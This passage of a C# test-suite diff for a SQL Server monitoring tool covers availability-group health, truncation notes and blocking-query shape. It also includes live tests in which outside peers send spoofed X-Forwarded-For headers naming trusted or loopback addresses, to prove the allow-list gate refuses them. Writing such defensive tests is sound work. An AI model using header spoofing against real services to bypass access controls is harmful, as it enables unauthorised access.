+        Assert.Equal(HealthSeverity.Healthy, result.AvailabilityGroups[1].Severity);
+    }
+
+    [Fact]
+    public void Build_AFleetWhoseOnlyNonHealthyGroupIsStale_NeverReadsHealthy()
+    {
+        var replicas = new[] { Replica(1, "NODE1", "AG1", "NODE1", "PRIMARY") };
+
+        var result = Reader.Build(replicas, Array.Empty<Reader.DatabaseRow>(), At(0).AddDays(12));
+
+        Assert.Equal(HealthSeverity.Warning, result.WorstSeverity);
+    }
+
+    [Fact]
+    public void Build_AFreshSnapshotWithAPrimary_StaysHealthyAndNotStale()
+    {
+        var replicas = new[]
+        {
+            Replica(1, "NODE1", "AG1", "NODE1", "PRIMARY"),
+            Replica(1, "NODE1", "AG1", "NODE2", "SECONDARY"),
+        };
+
+        var group = Assert.Single(Reader.Build(replicas, Array.Empty<Reader.DatabaseRow>(), At(0)).AvailabilityGroups);
+        Assert.False(group.IsStale);
+        Assert.Equal(HealthSeverity.Healthy, group.Severity);
+        Assert.Equal("Healthy", group.SeverityLabel);
+    }
+
+    [Fact]
+    public void Build_NoPrimaryReported_IsNeverHealthy()
+    {
+        /* Every replica row is individually green, and nobody holds the PRIMARY role. */
+        var replicas = new[]
+        {
+            Replica(1, "NODE1", "AG1", "NODE1", "SECONDARY"),
+            Replica(1, "NODE1", "AG1", "NODE2", "SECONDARY"),
+        };
+
+        var group = Assert.Single(Reader.Build(replicas, Array.Empty<Reader.DatabaseRow>(), At(0)).AvailabilityGroups);
+        Assert.Null(group.PrimaryReplica);
+        Assert.NotEqual(HealthSeverity.Healthy, group.Severity);
+        Assert.Equal(HealthSeverity.Warning, group.Severity);
+    }
+
     /* ─────────────────────────── database-grain banding ─────────────────────────── */
 
     [Fact]
@@ -666,4 +745,108 @@ public void Build_ExplicitLimitSmallerThanBudgetFit_CapsAtExactlyTheLimit()
         Assert.True(result.GroupsTruncated);
         Assert.Contains("top 4", result.GroupsTruncatedNote);
     }
+
+    /* ─────────────────────── #5042 round 1: seeds, skips and the honest note ─────────────────────── */
+
+    /// <summary>One server's VIEW of an AG: a primary view carries a PRIMARY replica row, a secondary view does
+    /// not. <paramref name="criticalDb"/> makes the first database NOT SYNCHRONIZING (a Critical view).</summary>
+    private static (Reader.ReplicaRow[] Replicas, Reader.DatabaseRow[] Databases) AgView(
+        int serverId, string agName, string? groupId, bool primary, int databaseCount, bool criticalDb = false)
+    {
+        var serverName = $"NODE{serverId:D3}A";
+        var replicas = new[]
+        {
+            Replica(serverId, serverName, agName, primary ? serverName : $"NODE{serverId:D3}P", primary ? "PRIMARY" : "SECONDARY", groupId: groupId),
+            Replica(serverId, serverName, agName, primary ? $"NODE{serverId:D3}B" : serverName, "SECONDARY", groupId: groupId),
+        };
+        var databases = new Reader.DatabaseRow[databaseCount];
+        for (var i = 0; i < databaseCount; i++)
+        {
+            var bad = criticalDb && i == 0;
+            databases[i] = new Reader.DatabaseRow(
+                serverId, serverName, At(1), agName, $"AppDatabase_{agName}_{i:D2}", $"NODE{serverId:D3}B", true,
+                bad ? "NOT SYNCHRONIZING" : "SYNCHRONIZED",
+                "00000029000A6B4C000100AE", "00000029000A6B4B00010098",
+                12L, 4L, 1024L, 1024L, false, null, "SYNCHRONOUS_COMMIT", 0L, groupId);
+        }
+
+        return (replicas, databases);
+    }
+
+    private static AgHealthResult BuildViews(int? limit, params (Reader.ReplicaRow[] Replicas, Reader.DatabaseRow[] Databases)[] views) =>
+        Reader.Build(views.SelectMany(v => v.Replicas).ToList(), views.SelectMany(v => v.Databases).ToList(), At(0), limit: limit);
+
+    private static int ViewBytes((Reader.ReplicaRow[] Replicas, Reader.DatabaseRow[] Databases) view) =>
+        System.Text.Encoding.UTF8.GetByteCount(JsonSerializer.Serialize(Reader.Build(view.Replicas, view.Databases, At(0)).AvailabilityGroups[0], Reader.JsonOptions));
+
+    [Fact]
+    public void Build_NoViewOfASecondAgFits_TheNoteNamesItInsteadOfClaimingCoverage()
+    {
+        /* The reporter's shape: AG1 primary view ~30.5 KB / secondary ~15.3 KB, AG2 primary ~61.4 KB / secondary
+           ~30.6 KB, against a ~32 KB budget. AG1's primary seeds and fits; no AG2 view fits next to it. */
+        var ag1P = AgView(1, "AG1", "g1", true, 56);
+        var ag1S = AgView(2, "AG1", "g1", false, 27);
+        var ag2P = AgView(3, "AG2", "g2", true, 115);
+        var ag2S = AgView(4, "AG2", "g2", false, 56);
+        Assert.InRange(ViewBytes(ag1P), 29_000, 32_000);
+        Assert.InRange(ViewBytes(ag2S) + ViewBytes(ag1P), McpResponseBudget.DefaultBytes + 1, int.MaxValue);
+
+        var result = BuildViews(null, ag1P, ag1S, ag2P, ag2S);
+
+        Assert.Contains(result.AvailabilityGroups, g => g.AgName == "AG1");
+        Assert.DoesNotContain(result.AvailabilityGroups, g => g.AgName == "AG2");
+        Assert.True(result.GroupsTruncated);
+        Assert.Contains("No view of 1 availability group(s) fit: AG2", result.GroupsTruncatedNote);
+        Assert.DoesNotContain("at least one view of each availability group", result.GroupsTruncatedNote);
+    }
+
+    [Fact]
+    public void Build_SecondaryViewIsCriticalPrimaryViewHealthy_SeedsTheCriticalView()
+    {
+        var primaryHealthy = AgView(1, "AG1", "g1", true, 2);
+        var secondaryCritical = AgView(2, "AG1", "g1", false, 2, criticalDb: true);
+
+        var result = BuildViews(1, primaryHealthy, secondaryCritical);
+
+        var only = Assert.Single(result.AvailabilityGroups);
+        Assert.Equal(HealthSeverity.Critical, only.Severity);
+    }
+
+    [Fact]
+    public void Build_BigViewSkipped_ASmallLaterViewIsStillKept()
+    {
+        var small1 = AgView(1, "AG1", "g1", true, 2);
+        var big = AgView(2, "AG2", "g2", true, 200);
+        var small2 = AgView(3, "AG3", "g3", true, 2);
+
+        var result = BuildViews(null, small1, big, small2);
+
+        Assert.DoesNotContain(result.AvailabilityGroups, g => g.AgName == "AG2");
+        Assert.Contains(result.AvailabilityGroups, g => g.AgName == "AG1");
+        Assert.Contains(result.AvailabilityGroups, g => g.AgName == "AG3");
+        Assert.Contains("AG2", result.GroupsTruncatedNote);
+    }
+
+    [Fact]
+    public void Build_TwoAgsWithoutGroupId_AreSeededByName()
+    {
+        var a = AgView(1, "AGA", null, true, 2);
+        var a2 = AgView(2, "AGA", null, false, 2);
+        var b = AgView(3, "AGB", null, true, 2);
+        var b2 = AgView(4, "AGb", null, false, 2);
+
+        var result = BuildViews(2, a, a2, b, b2);
+
+        Assert.Equal(2, result.AvailabilityGroups.Count);
+        Assert.Equal(2, result.AvailabilityGroups.Select(g => g.AgName!.ToUpperInvariant()).Distinct().Count());
+    }
+
+    [Fact]
+    public void Build_LimitTwoOnTwoAgsOfTwoViews_ReturnsBothAgs()
+    {
+        var result = BuildViews(2, AgView(1, "AG1", "g1", true, 2), AgView(2, "AG1", "g1", false, 2),
+            AgView(3, "AG2", "g2", true, 2), AgView(4, "AG2", "g2", false, 2));
+
+        Assert.Equal(new[] { "AG1", "AG2" }, result.AvailabilityGroups.Select(g => g.AgName).OrderBy(n => n).ToArray());
+    }
 }
diff --git a/Darling/Darling.Tests/DarlingAgStatesReaderLiveEqualityTests.cs b/Darling/Darling.Tests/DarlingAgStatesReaderLiveEqualityTests.cs
index 364758911a..5a5b10fb8f 100644
--- a/Darling/Darling.Tests/DarlingAgStatesReaderLiveEqualityTests.cs
+++ b/Darling/Darling.Tests/DarlingAgStatesReaderLiveEqualityTests.cs
@@ -179,7 +179,7 @@ public async Task AgStatesReader_MatchesTheOldUnboundedStatements_AcrossEverySer
         var bodySucceeded = false;
         try
         {
-            var now = Micro(DateTime.UtcNow);
+            var now = Micro(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await SeedAsync(connection, now, ct);
 
             var sentinelIds = new HashSet<int>(AllNames.Select(Id));
@@ -328,7 +328,7 @@ public async Task AgStatesReader_StepTwoStaysBounded_ForCurrentAndStaleServers_A
         var bodySucceeded = false;
         try
         {
-            var now = Micro(DateTime.UtcNow);
+            var now = Micro(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await SeedAsync(connection, now, ct);
             var sentinelIds = new HashSet<int>(AllNames.Select(Id));
 
@@ -443,7 +443,7 @@ ON CONFLICT (server_id) DO UPDATE SET is_enabled = $4, sql_major_version = 15
         command.Parameters.AddWithValue(serverName);
         command.Parameters.AddWithValue(serverName);
         command.Parameters.AddWithValue(enabled);
-        command.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(LiveClock.Now());
         await command.ExecuteNonQueryAsync(ct);
     }
 
diff --git a/Darling/Darling.Tests/DarlingAlertingTests.cs b/Darling/Darling.Tests/DarlingAlertingTests.cs
index fead1b751e..4ea448a981 100644
--- a/Darling/Darling.Tests/DarlingAlertingTests.cs
+++ b/Darling/Darling.Tests/DarlingAlertingTests.cs
@@ -145,6 +145,7 @@ public void AlertSettings_SmtpPassword_DpapiRoundTrip()
 
         var config = new DarlingConfig();
         config.Smtp.EncryptedPassword = DarlingSecrets.Protect("smtp-s3cret");
+        config.Smtp.EncryptedPasswordDeclaredByFile = true; /* #5366: the file declares it, so no pin is needed. */
         Assert.Equal("smtp-s3cret", new DarlingAlertSettings(config).GetSmtpPassword());
     }
 
diff --git a/Darling/Darling.Tests/DarlingAllowFromListGateTests.cs b/Darling/Darling.Tests/DarlingAllowFromListGateTests.cs
new file mode 100644
index 0000000000..cf35dd0d09
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingAllowFromListGateTests.cs
@@ -0,0 +1,339 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Net;
+using System.Text;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Microsoft.Extensions.Options;
+using Npgsql;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5288: a live HTTP proof that BOTH hosts admit every range of an <c>allowFrom</c> LIST and refuse an address in
+/// none of them with a 403, through the SAME <c>ConfigurePipeline</c> methods production calls (the harness shape
+/// is <see cref="DarlingWebHostGateLiveTests"/>'s and <see cref="DarlingMcpHostGateLiveTests"/>'s: a real
+/// pipeline over <see cref="TestServer"/>, with <c>RemoteIpAddress</c> set per request through
+/// <see cref="TestServer.SendAsync"/>).
+///
+/// <para>The list does not start as a hand-built object. It is a JSON ARRAY in a darling.json text, and each
+/// test walks the production route to the gate: <see cref="DarlingConfig.Parse"/> (the converter joins the
+/// array), the host's own bind resolver (the ladder must let the list through), <c>CidrAllowList.Parse</c> (what
+/// <c>TryStartServerAsync</c> does after the ladder), then <c>ConfigurePipeline</c>.</para>
+/// </summary>
+public sealed class DarlingAllowFromListGateTests
+{
+    private const string ListenIp = "192.168.1.205";
+
+    /// <summary>Two disjoint ranges, written as the array form the issue asks for.</summary>
+    private const string AllowFromJson = @"[""192.168.1.0/24"", ""10.8.0.0/16""]";
+
+    private const string McpToken = "correct-mcp-token-value";
+    private const string WebToken = "correct-web-token-value";
+
+    /// <summary>In the first range, in the SECOND range (the one a first-entry-only check would miss), the
+    /// second range as an IPv4-mapped IPv6 address (how an IPv4 client reaches a dual-stack listener), and
+    /// loopback (exempt from the list, never from the credential).</summary>
+    private static readonly IPAddress[] Admitted =
+    {
+        IPAddress.Parse("192.168.1.50"),
+        IPAddress.Parse("192.168.1.1"),
+        IPAddress.Parse("10.8.3.4"),
+        IPAddress.Parse("10.8.255.254"),
+        IPAddress.Parse("::ffff:10.8.3.4"),
+        IPAddress.Loopback,
+    };
+
+    /// <summary>In neither range: next to each, elsewhere private, public, and a native IPv6 address.</summary>
+    private static readonly IPAddress[] Refused =
+    {
+        IPAddress.Parse("10.9.0.1"),
+        IPAddress.Parse("192.168.2.1"),
+        IPAddress.Parse("192.168.0.255"),
+        IPAddress.Parse("172.16.0.1"),
+        IPAddress.Parse("203.0.113.9"),
+        IPAddress.Parse("2001:db8::1"),
+    };
+
+    private static DarlingConfig LoadConfig(string section, string token)
+        => DarlingConfig.Parse(
+            @"{ ""postgres"": { ""managed"": true }, ""servers"": [ { ""host"": ""SQL2022"" } ], """ + section
+            + @""": { ""enabled"": true, ""network"": { ""listen"": """ + ListenIp + @""", ""allowFrom"": " + AllowFromJson
+            + @", ""token"": """ + token + @""" } } }");
+
+    private static void AssertStatus(int expected, int actual, IPAddress remote)
+        => Assert.True(expected == actual, $"a request from {remote} should answer {expected}, not {actual}");
+
+    /// <summary>
+    /// The builder both hosts start from. <paramref name="frameworkSwitchOn"/> turns the framework's forwarded-headers
+    /// switch on THROUGH the builder's own configuration, as a command-line argument, which the framework reads the way
+    /// it reads the <c>ASPNETCORE_FORWARDEDHEADERS_ENABLED</c> environment variable. It never goes through the process
+    /// environment: a process-wide variable would reach every test class running in parallel with this one.
+    /// </summary>
+    private static WebApplicationBuilder CreateBuilder(bool frameworkSwitchOn)
+        => WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            Args = frameworkSwitchOn ? new[] { "--ForwardedHeaders_Enabled=true" } : Array.Empty<string>(),
+        });
+
+    /// <summary>The one value a forwarded-header request names that is not the peer's own address.</summary>
+    private const string NamedByTheHeader = "203.0.113.77";
+
+    /* ---- MCP ---- */
+
+    private static async Task<TestServer> BuildMcpServer(CidrAllowList allowedCidr, bool frameworkSwitchOn = false)
+    {
+        var builder = CreateBuilder(frameworkSwitchOn);
+
+        // The production line, on the line after the builder exists, exactly where both hosts run it.
+        DarlingMcpHostService.PinForwardedHeadersOff(builder.Services);
+
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+
+        // A pool the gates never open: a request is refused, or reaches tools/list, before any tool body runs.
+        var postgres = NpgsqlDataSource.Create("Host=localhost;Database=postgres;Username=darling");
+        builder.Services.AddSingleton(postgres);
+        builder.Services.AddSingleton(new DarlingAnalysisService(
+            postgres, planFetcher: null, logger: NullLogger.Instance, baselineCache: new BaselineCache()));
+        builder.Services.AddSingleton<ILogger>(NullLogger.Instance);
+
+        DarlingMcpHostService.ConfigureMcpServices(builder.Services, DarlingPeerDirectory.Snapshot.Empty);
+
+        var app = builder.Build();
+
+        var host = new DarlingMcpHostService(
+            NullLogger<DarlingMcpHostService>.Instance,
+            new McpRuntimeState(),
+            new MonitoredServerRegistryState());
+
+        host.ConfigurePipeline(
+            app,
+            networkMode: true,
+            networkListenIp: IPAddress.Parse(ListenIp),
+            allowedCidr: allowedCidr,
+            bearerToken: McpToken);
+
+        await app.StartAsync();
+        return app.GetTestServer();
+    }
+
+    /// <summary>A <c>tools/list</c> JSON-RPC POST on <c>/</c> with the RIGHT bearer token from <paramref name="remote"/>:
+    /// 200 means the request got past every gate, 403 means the CIDR gate refused it.</summary>
+    private static async Task<int> McpToolsListAsync(TestServer server, IPAddress remote, string? forwardedFor = null)
+    {
+        const string requestBody = "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}";
+        var ctx = await server.SendAsync(c =>
+        {
+            c.Request.Method = "POST";
+            c.Request.Path = "/";
+            c.Request.Headers.Host = ListenIp;
+            c.Request.Headers.Accept = "application/json, text/event-stream";
+            c.Request.ContentType = "application/json";
+            var bytes = Encoding.UTF8.GetBytes(requestBody);
+            c.Request.Body = new MemoryStream(bytes);
+            c.Request.ContentLength = bytes.Length;
+            c.Connection.RemoteIpAddress = remote;
+            c.Request.Headers.Authorization = $"Bearer {McpToken}";
+            if (forwardedFor is not null)
+            {
+                c.Request.Headers["X-Forwarded-For"] = forwardedFor;
+            }
+        });
+
+        using var reader = new StreamReader(ctx.Response.Body);
+        await reader.ReadToEndAsync();
+        return ctx.Response.StatusCode;
+    }
+
+    [Fact]
+    public async Task Mcp_List_AdmitsEachRange_403Outside()
+    {
+        var config = LoadConfig("mcp", McpToken);
+        Assert.Equal("192.168.1.0/24,10.8.0.0/16", config.Mcp.Network!.AllowFrom);
+
+        var bind = DarlingMcpHostService.ResolveMcpBind(config.Mcp, managed: true, inContainer: false);
+        Assert.Equal(DarlingMcpHostService.McpBindMode.NetworkAndLoopback, bind.Mode);
+        Assert.Equal(DarlingMcpHostService.McpBindReason.NetworkExposed, bind.Reason);
+
+        using var server = await BuildMcpServer(CidrAllowList.Parse(config.Mcp.Network.AllowFrom!));
+
+        foreach (var remote in Admitted)
+        {
+            AssertStatus(StatusCodes.Status200OK, await McpToolsListAsync(server, remote), remote);
+        }
+
+        foreach (var remote in Refused)
+        {
+            AssertStatus(StatusCodes.Status403Forbidden, await McpToolsListAsync(server, remote), remote);
+        }
+    }
+
+    /// <summary>
+    /// #5288: the allowFrom check judges the connection's own peer address, never an address a request header names,
+    /// even with the framework's forwarded-headers switch turned ON in the host's configuration (the host pins the
+    /// handling off, <see cref="DarlingMcpHostService.PinForwardedHeadersOff"/>). A peer outside the list that names an
+    /// in-list address, or loopback, in <c>X-Forwarded-For</c> is still answered 403; and an in-list peer that names an
+    /// outside address still gets through, because the header is not read in either direction.
+    /// </summary>
+    [Theory]
+    [InlineData("192.168.1.50")]
+    [InlineData("127.0.0.1")]
+    public async Task Mcp_ForwardedFor_IsIgnored_EvenWithTheFrameworkSwitchOn(string forwardedFor)
+    {
+        using var server = await BuildMcpServer(CidrAllowList.Parse("192.168.1.0/24,10.8.0.0/16"), frameworkSwitchOn: true);
+
+        var outside = IPAddress.Parse("203.0.113.50");
+        AssertStatus(StatusCodes.Status403Forbidden, await McpToolsListAsync(server, outside, forwardedFor), outside);
+
+        var inList = IPAddress.Parse("192.168.1.50");
+        AssertStatus(StatusCodes.Status200OK, await McpToolsListAsync(server, inList, NamedByTheHeader), inList);
+    }
+
+    /* ---- web ---- */
+
+    private static async Task<TestServer> BuildWebServer(CidrAllowList allowedCidr, bool frameworkSwitchOn = false)
+    {
+        var builder = CreateBuilder(frameworkSwitchOn);
+
+        // The production line, on the line after the builder exists, exactly where both hosts run it.
+        DarlingMcpHostService.PinForwardedHeadersOff(builder.Services);
+
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+
+        // A pool the gates never open (they run entirely ahead of DarlingWebEndpoints.MapAll's routes).
+        var postgres = NpgsqlDataSource.Create("Host=localhost;Database=postgres;Username=darling");
+        builder.Services.AddSingleton(postgres);
+
+        // ConfigurePipeline calls app.UseResponseCompression(), which resolves its options from DI.
+        DarlingWebHostService.ConfigureResponseCompression(builder.Services);
+
+        var app = builder.Build();
+
+        var host = new DarlingWebHostService(
+            NullLogger<DarlingWebHostService>.Instance,
+            new WebRuntimeState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache());
+
+        host.ConfigurePipeline(
+            app,
+            postgres,
+            networkMode: true,
+            networkListenIp: IPAddress.Parse(ListenIp),
+            allowedCidr: allowedCidr,
+            accessToken: WebToken,
+            oidcClient: null);
+
+        await app.StartAsync();
+        return app.GetTestServer();
+    }
+
+    /// <summary>A <c>GET /?token=</c> with the RIGHT token from <paramref name="remote"/>: 302 means the gate
+    /// exchanged the token for a session cookie (past every gate), 403 means the CIDR gate refused it first.</summary>
+    private static async Task<int> WebTokenRequestAsync(TestServer server, IPAddress remote, string? forwardedFor = null)
+    {
+        var ctx = await server.SendAsync(c =>
+        {
+            c.Request.Method = "GET";
+            c.Request.Path = "/";
+            c.Request.QueryString = new QueryString("?token=" + Uri.EscapeDataString(WebToken));
+            c.Request.Headers.Host = ListenIp;
+            c.Connection.RemoteIpAddress = remote;
+            if (forwardedFor is not null)
+            {
+                c.Request.Headers["X-Forwarded-For"] = forwardedFor;
+            }
+        });
+
+        return ctx.Response.StatusCode;
+    }
+
+    [Fact]
+    public async Task Web_List_AdmitsEachRange_403Outside()
+    {
+        var config = LoadConfig("web", WebToken);
+        Assert.Equal("192.168.1.0/24,10.8.0.0/16", config.Web.Network!.AllowFrom);
+
+        var bind = DarlingWebHostService.ResolveWebBind(config.Web, managed: true, inContainer: false);
+        Assert.Equal(DarlingHostBinding.BindMode.NetworkAndLoopback, bind.Mode);
+        Assert.Equal(DarlingHostBinding.BindReason.NetworkExposed, bind.Reason);
+
+        using var server = await BuildWebServer(CidrAllowList.Parse(config.Web.Network.AllowFrom!));
+
+        foreach (var remote in Admitted)
+        {
+            AssertStatus(StatusCodes.Status302Found, await WebTokenRequestAsync(server, remote), remote);
+        }
+
+        foreach (var remote in Refused)
+        {
+            AssertStatus(StatusCodes.Status403Forbidden, await WebTokenRequestAsync(server, remote), remote);
+        }
+    }
+
+    /// <summary>
+    /// #5288: the web twin of <see cref="Mcp_ForwardedFor_IsIgnored_EvenWithTheFrameworkSwitchOn"/>. The allowFrom
+    /// check judges the connection's own peer address, never one a request header names, with the framework's
+    /// forwarded-headers switch turned ON: an outside peer that names an in-list address, or loopback, is still
+    /// answered 403, and an in-list peer that names an outside address still has its token exchanged for a cookie.
+    /// </summary>
+    [Theory]
+    [InlineData("192.168.1.50")]
+    [InlineData("127.0.0.1")]
+    public async Task Web_ForwardedFor_IsIgnored_EvenWithTheFrameworkSwitchOn(string forwardedFor)
+    {
+        using var server = await BuildWebServer(CidrAllowList.Parse("192.168.1.0/24,10.8.0.0/16"), frameworkSwitchOn: true);
+
+        var outside = IPAddress.Parse("203.0.113.50");
+        AssertStatus(StatusCodes.Status403Forbidden, await WebTokenRequestAsync(server, outside, forwardedFor), outside);
+
+        var inList = IPAddress.Parse("192.168.1.50");
+        AssertStatus(StatusCodes.Status302Found, await WebTokenRequestAsync(server, inList, NamedByTheHeader), inList);
+    }
+
+    /// <summary>
+    /// The premise of the two tests above, pinned so they cannot pass for the wrong reason: on the very builder they
+    /// use, the framework's switch really does turn forwarded-header handling on, and
+    /// <see cref="DarlingMcpHostService.PinForwardedHeadersOff"/> is what turns it back off. If a framework change
+    /// ever stopped the switch from taking effect, the first assertion fails here instead of the tests above going
+    /// quietly green.
+    /// </summary>
+    [Fact]
+    public void FrameworkSwitch_TurnsForwardedHeadersOn_AndThePinTurnsThemOffAgain()
+    {
+        var unpinned = CreateBuilder(frameworkSwitchOn: true);
+        using var unpinnedApp = unpinned.Build();
+        Assert.NotEqual(
+            Microsoft.AspNetCore.HttpOverrides.ForwardedHeaders.None,
+            unpinnedApp.Services.GetRequiredService<IOptions<ForwardedHeadersOptions>>().Value.ForwardedHeaders);
+
+        var pinned = CreateBuilder(frameworkSwitchOn: true);
+        DarlingMcpHostService.PinForwardedHeadersOff(pinned.Services);
+        using var pinnedApp = pinned.Build();
+        Assert.Equal(
+            Microsoft.AspNetCore.HttpOverrides.ForwardedHeaders.None,
+            pinnedApp.Services.GetRequiredService<IOptions<ForwardedHeadersOptions>>().Value.ForwardedHeaders);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingAnalysisPipelineTests.cs b/Darling/Darling.Tests/DarlingAnalysisPipelineTests.cs
index 26b6268cf8..5d88f46a28 100644
--- a/Darling/Darling.Tests/DarlingAnalysisPipelineTests.cs
+++ b/Darling/Darling.Tests/DarlingAnalysisPipelineTests.cs
@@ -213,7 +213,7 @@ columns in the PG server's time zone. Every window bound is a bound
     [Fact]
     public void DrillDown_AllSql_AnyValue_OnlyInTheRegressedQueriesQuery()
     {
-        /* any_value() is standard SQL:2023, in Postgres since 16 (product minimum PG is 17).
+        /* any_value() is standard SQL:2023, in Postgres since 16 (product minimum PG is 16).
            It is deliberate in the plan-regression re-detection and nowhere else — the same
            confinement the fact collector pins for its PlanRegressionSql. */
         Assert.Contains("any_value(query_text)", PgDrillDownCollector.RegressedQueriesSql, StringComparison.Ordinal);
@@ -300,10 +300,38 @@ the apex and the reader's column order cannot drift between the two. */
         Assert.Contains("monitor_loop", sql, StringComparison.Ordinal);
         Assert.Contains("contentious_object", sql, StringComparison.Ordinal);
 
-        /* Unlike the fact collector's full-text pair rows, the drill-down payload truncates
-           both SQL texts (Lite's shape). */
-        Assert.Contains("LEFT(blocked_sql_text, 500)", sql, StringComparison.Ordinal);
-        Assert.Contains("LEFT(blocking_sql_text, 500)", sql, StringComparison.Ordinal);
+        /* #5320: the drill-down payload judges each statement whole with the statement filter and cuts it to 500 in C#
+           (a cut made in SQL first would hand the filter a prefix). #5361: the 5,000-row pair read carries NO text, an
+           empty string in each text column, and the whole text of only the levels shown is read afterwards by event key
+           (BprChainLevelTextSql, DmvChainLevelTextSql): the whole text of every pair was 131 times the bytes. */
+        Assert.DoesNotContain("LEFT(", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("blocked_sql_text", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("blocking_sql_text", sql, StringComparison.Ordinal);
+        Assert.Contains("''::text AS blocked_sql", sql, StringComparison.Ordinal);
+        Assert.Contains("''::text AS blocking_sql", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LEFT(", PgBlockingPairRowQuery.DmvSnapshotTextFreeSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("blocked_sql_text, blocking_sql_text", PgBlockingPairRowQuery.DmvSnapshotTextFreeSql, StringComparison.Ordinal);
+        Assert.Contains("''::text AS blocked_sql_text", PgBlockingPairRowQuery.DmvSnapshotTextFreeSql, StringComparison.Ordinal);
+        var withTextRestored = PgBlockingPairRowQuery.DmvSnapshotTextFreeSql.Replace(
+            "''::text AS blocked_sql_text, ''::text AS blocking_sql_text", "blocked_sql_text, blocking_sql_text", StringComparison.Ordinal);
+        Assert.Equal(PgBlockingPairRowQuery.DmvSnapshotSql, withTextRestored);
+
+        /* The level text reads: by event key (five parallel arrays, a missing spid or ecid read as 0 as Read maps it),
+           the row with the longest wait kept when a key repeats; the blocked-process-report one carries the pair read's
+           collection_time floor, the DMV one has none. */
+        foreach (var textSql in new[] { PgBlockingPairRowQuery.BprChainLevelTextSql, PgBlockingPairRowQuery.DmvChainLevelTextSql })
+        {
+            Assert.Contains("unnest($2::timestamp[], $3::int[], $4::int[], $5::int[], $6::int[])", textSql, StringComparison.Ordinal);
+            Assert.Contains("v.wait_time_ms DESC", textSql, StringComparison.Ordinal);
+            Assert.Contains("v.blocked_sql_text", textSql, StringComparison.Ordinal);
+            Assert.DoesNotContain("LEFT(", textSql, StringComparison.Ordinal);
+            Assert.DoesNotContain("LIMIT", textSql, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("FROM v_blocked_process_reports AS v", PgBlockingPairRowQuery.BprChainLevelTextSql, StringComparison.Ordinal);
+        Assert.Contains("v.collection_time >= $7", PgBlockingPairRowQuery.BprChainLevelTextSql, StringComparison.Ordinal);
+        Assert.Contains("FROM v_dmv_blocking_snapshots AS v", PgBlockingPairRowQuery.DmvChainLevelTextSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$7", PgBlockingPairRowQuery.DmvChainLevelTextSql, StringComparison.Ordinal);
     }
 
     /* ---------------- ungated: worker cadence + notification adapter pins ---------------- */
diff --git a/Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs b/Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs
index 314c958d32..e0c956068b 100644
--- a/Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs
+++ b/Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs
@@ -39,6 +39,7 @@ namespace Darling.Tests;
 /// wait type named as a contrib_&lt;TYPE&gt; contributor.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingAnomalyBaselineTests
 {
     /// <summary>Distinctive fake id — a real server_id is a storage-name hash, never this.</summary>
diff --git a/Darling/Darling.Tests/DarlingBlockingReaderServerClockTests.cs b/Darling/Darling.Tests/DarlingBlockingReaderServerClockTests.cs
index 1ec68384c6..62033fa0f7 100644
--- a/Darling/Darling.Tests/DarlingBlockingReaderServerClockTests.cs
+++ b/Darling/Darling.Tests/DarlingBlockingReaderServerClockTests.cs
@@ -25,13 +25,13 @@ namespace Darling.Tests;
 /// </summary>
 public sealed class DarlingBlockingReaderServerClockTests
 {
-    /* The XE select is 35 columns wide: event_time first, the six server-local stamps at 25..30. */
+    /* The XE select is 37 columns wide: event_time first, the six server-local stamps at 25..30, and the row's store key last (collection_time, blocked_report_id at 35, 36; #5236). */
     private static readonly int[] XeStamps = [25, 26, 27, 28, 29, 30];
 
     /* The DMV select is 20 columns wide: event_time first, the two server-local stamps last. */
     private static readonly int[] DmvStamps = [18, 19];
 
-    private static DataTable XeTable() => Table(35, [0, .. XeStamps]);
+    private static DataTable XeTable() => Table(37, [0, .. XeStamps]);
 
     private static DataTable DmvTable() => Table(20, [0, .. DmvStamps]);
 
@@ -100,6 +100,104 @@ public void ADmvBlockingSnapshot_WithStampsOnEachSideOfAChange_LandsAtTheRightUt
         Assert.Equal(Naive(year, month, day, expectedUtcHour, 11), row.BlockingLastTranStartedUtc);
     }
 
+    /// <summary>
+    /// #5236: the XE select's LAST two columns (ordinals 35 and 36) are the row's store key, <c>collection_time</c> then
+    /// <c>blocked_report_id</c>, and map to <c>CollectionTime</c> / <c>BlockedReportId</c>. The plan flags are NOT in the list
+    /// read, so they stay false; a NULL key reads null, and a DMV-snapshot row (its select has no key) leaves both null.
+    /// </summary>
+    [Fact]
+    public void MapXeRow_ReadsTheStoreKey_AtOrdinals35And36_AndLeavesThePlanFlagsFalse()
+    {
